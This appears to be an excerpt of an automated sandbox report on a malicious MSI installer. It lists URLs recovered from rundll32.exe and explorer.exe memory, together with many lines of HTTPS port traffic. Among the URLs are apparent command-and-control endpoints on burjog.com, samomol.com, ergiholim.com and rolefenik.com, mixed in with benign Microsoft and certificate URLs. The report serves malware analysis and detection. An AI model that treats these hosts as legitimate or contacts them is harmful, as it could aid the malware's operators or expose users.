Source: rundll32.exe, 00000006.00000002.4567543964.00000293119F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/matrix.phpN
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/matrix.phpdOga
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/matrix.phpwOva
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/matrix.php~
Source: rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/neo.php
Source: rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/neo.phpAHJ
Source: rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/neo.phpjJ
Source: rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/neo.phptJZa
Source: rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/pankihoy.php
Source: rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/pankihoy.phpCryptographyQJga
Source: explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
Source: explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ergiholim.com/
Source: explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ergiholim.com/S
Source: explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4588467041.000000000BCFD000.00000004.00000010.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3080227376.00000000032B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ergiholim.com/test/
Source: explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ergiholim.com/test/_
Source: explorer.exe, 00000008.00000003.3080227376.00000000032B1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ergiholim.com/test/bleSyncOnActivityFeed
Source: explorer.exe, 00000008.00000002.4581549359.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ergiholim.com/test/c
Source: explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ergiholim.com/test/g
Source: explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ergiholim.com/test/p
Source: explorer.exe, 00000008.00000000.2242782012.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3083287941.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980843458.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000C086000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com-
Source: explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
Source: explorer.exe, 00000008.00000000.2242782012.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3083287941.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980843458.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000C086000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.come
Source: explorer.exe, 00000008.00000000.2242782012.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comEMd
Source: explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/
Source: explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/K
Source: explorer.exe, 00000008.00000003.3080227376.00000000032B1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/X
Source: explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/c
Source: explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/est/
Source: explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4591202760.000000000C3E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/test/
Source: explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/test/3
Source: explorer.exe, 00000008.00000002.4581549359.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/test/;
Source: explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/test/K
Source: explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/test/g
Source: explorer.exe, 00000008.00000002.4590045694.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rolefenik.com/test/~
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com/
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com/0P4a
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com:9043/
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com:9043/pankihoy.php
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com:9043/pankihoy.php32
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com:9043/pankihoy.php8O;a
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com:9043/pankihoy.phpXP
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com:9043/pankihoy.phpaOda
Source: rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samomol.com:9043/pankihoy.phpd
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000008.00000000.2238643975.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3075025138.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980638609.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/e
Source: explorer.exe, 00000008.00000000.2242782012.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3083287941.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980843458.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000C086000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comM
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: https://www.advancedinstaller.com
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
